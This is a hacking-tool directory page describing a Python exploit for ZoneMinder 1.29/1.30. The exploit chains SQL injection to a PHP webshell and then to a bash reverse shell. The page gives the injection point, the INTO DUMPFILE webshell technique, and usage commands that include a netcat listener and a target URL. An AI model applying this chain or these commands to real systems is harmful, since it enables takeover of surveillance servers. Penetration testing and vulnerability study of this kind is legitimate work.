Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
zoneminder-1.29-1.30-rce-exploit — Unauthenticated SQL injection to RCE exploit for ZoneMinder 1.29/1.30 (CVE-2016-10204, EDB-41239). Single-command SQLi to webshell to reverse shell PoC in Python. | Kitploit
Tools/GitHubGitHub/akash0x00/zoneminder-1.29-1.30-rce-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingCommand and ControlPayload Development
GitHubakash0x00/zoneminder-1.29-1.30-rce-exploit

zoneminder-1.29-1.30-rce-exploit

Unauthenticated SQL injection to RCE exploit for ZoneMinder 1.29/1.30 (CVE-2016-10204, EDB-41239). Single-command SQLi to webshell to reverse shell PoC in Python.

View Repository
18h 3m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ZoneMinder 1.29/1.30 SQLi to RCE Exploit

A ready-to-run Python exploit for ZoneMinder 1.29/1.30 that chains the unauthenticated SQL injection (CVE-2016-10204, EDB-41239) all the way to an interactive reverse shell.

This is a weaponized/automated PoC for a known, patched CVE, not a new exploit.

EDB PoC for this bug stops at the SQLi payload or "point sqlmap at it." This exploit packages the full SQLi to webshell to shell chain into one readable script.

What it does

  1. Confirms the injection with a time-based (SLEEP) probe on the limit POST parameter of index.php?view=request&request=log&task=query.
  2. Writes a small PHP webshell into the web root via SELECT ... INTO DUMPFILE, trying several common ZoneMinder/Apache paths.
  3. Probes for the live webshell, then fires a bash reverse shell to your netcat listener.

The two gotchas it handles

  • DUMPFILE, not OUTFILE. OUTFILE escapes newlines and mangles multi-line PHP; DUMPFILE writes raw bytes, so the webshell stays valid.
  • Fresh random filename each run. MySQL refuses to overwrite an existing file, so a fixed name collides with a stale drop from a previous run.

Usage

root@kitploit:~
# pop a shell
python3 zm-exploit.py -u http://TARGET/zm/ -l YOUR_IP -p 443

# start your listener when prompted, in another terminal
sudo nc -lvnp 443

# afterwards, remove the webshell it dropped (name is printed at the end)
python3 zm-exploit.py -u http://TARGET/zm/ --cleanup a1b2c3d4.php

Credits

  • FOXMOLE (advisory basis for CVE-2016-10204).
  • Original PoC: Exploit-DB 41239.

License

MIT, see LICENSE.

Download Tool